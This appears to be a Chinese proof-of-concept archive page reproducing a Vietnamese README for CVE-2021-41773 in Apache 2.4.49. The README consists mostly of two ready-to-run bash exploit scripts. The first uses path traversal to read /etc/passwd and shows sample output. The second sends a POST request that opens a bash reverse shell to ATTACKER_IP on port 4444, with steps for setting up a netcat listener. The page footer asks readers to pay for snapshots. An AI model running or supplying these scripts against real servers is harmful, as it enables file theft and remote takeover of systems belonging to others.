关联漏洞
描述
Kiểm thử xâm nhập
介绍
# CVE-2021-41773-Apache-2.4.49-
Kiểm thử xâm nhập
1.1. Path Traversal (Đọc tệp /etc/passwd)
#!/bin/bash
# Script: exploit_path_traversal.sh
# Mục tiêu: Đọc tệp /etc/passwd từ Apache 2.4.49
TARGET_IP="128.0.0.100"
URL="http://$TARGET_IP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
echo "[+] Khai thác Path Traversal trên Apache 2.4.49..."
curl -s "$URL" | head -n 5 # Hiển thị 5 dòng đầu của /etc/passwd
# Kết quả demo:
$ ./exploit_path_traversal.sh
[+] Khai thác Path Traversal trên Apache 2.4.49...
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
1.2. Remote Code Execution (Reverse Shell)
#!/bin/bash
# Script: exploit_apache_rce.sh
# Mục tiêu: Thực thi lệnh reverse shell qua CGI
TARGET_IP="128.0.0.100"
ATTACKER_IP="192.168.0.101"
PORT="4444"
echo "[+] Gửi reverse shell đến $ATTACKER_IP:$PORT..."
curl -X POST \
"http://$TARGET_IP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "echo; bash -c 'bash -i >& /dev/tcp/$ATTACKER_IP/$PORT 0>&1'"
# Cách sử dụng:
# 1.Mở Netcat để lắng nghe:
nc -lvnp 4444
# 2. Chạy script:
./exploit_apache_rce.sh
文件快照
[4.0K] /data/pocs/1abf0fbbcd5cf6ba3a003ef9199053b5920f9c11
└── [1.3K] README.md
0 directories, 1 file
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。